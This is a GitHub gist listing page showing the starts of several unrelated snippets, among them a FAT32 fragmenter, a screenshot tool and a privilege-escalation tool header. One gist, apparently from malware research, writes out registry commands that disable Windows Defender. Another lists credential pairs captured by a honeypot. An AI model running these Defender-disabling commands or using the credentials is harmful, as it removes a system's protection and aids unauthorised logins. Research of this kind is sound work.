Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@ryancdotorg
ryancdotorg / frag32.py
Created August 20, 2015 16:27
A FAT32 fragmenter, because I am a horrible person.
#!/usr/bin/env python
import random
import struct
import sys
# Most of the Fat32 class was cribbed from https://gist.github.com/jonte/4577833
def ppNum(num):
return "%s (%s)" % (hex(num), num)
@bellbind
bellbind / getscreenshot.c
Created July 1, 2009 13:33
[c][gtk][webkit]get screenshot PNG from web page
/*
* get screenshot PNG from web page
*
* build:
* FLAGS=`pkg-config --cflags --libs gtk+-x11-2.0 glib-2.0 webkit-1.0`
* gcc -Wall $FLAGS getscreenshot.c -o getscreenshot
*
* usage:
* /usr/bin/xvfb-run -s "-screen 0 1024x768x24" ./getscreenshot test.html
*
@kavanmevada
kavanmevada / Application.kt
Last active March 8, 2022 17:48
kotlin-native-gtk
package sample.GtkHelpers
import kotlinx.cinterop.*
import libgtk3.*
import platform.posix.exit
abstract class Application(application_id: String, gApplicationFlagsNone: GApplicationFlags) {
@sebnow
sebnow / geocode.pl
Created October 22, 2011 07:30
Geocoding in Perl using Google Maps API v3
#!/usr/bin/env perl
use strict;
use warnings;
use Geo::Coder::Google;
my $geocoder = Geo::Coder::Google->new(apiver => 3);
print(join(', ', qw(Address Lattitude Longitude)) . "\n");
while(my $address = <>) {
my $location = $geocoder->geocode(location => $address);
print(join(', ',
### Related to MalwareBytes LazyScripter https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtime
@frnkst
frnkst / honeypot.txt
Created March 12, 2020 15:51
I've set up a honeypot and recorded all unique login attempts
0000:0000
0:0
1111:1111
123456:123456
1234:1234
123:123
123abc:123123abc123
1:1
1andrewscudder:1andrewscudder
3:3
function Get-RdpLogonEvent
{
[CmdletBinding()]
param(
[Int32] $Last = 10
)
$RdpInteractiveLogons = Get-WinEvent -FilterHashtable @{
LogName='Security'
ProviderName='Microsoft-Windows-Security-Auditing'
// TcbElevation - Authors: @splinter_code and @decoder_it
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#pragma comment(lib, "Secur32.lib")
void EnableTcbPrivilege(BOOL enforceCheck);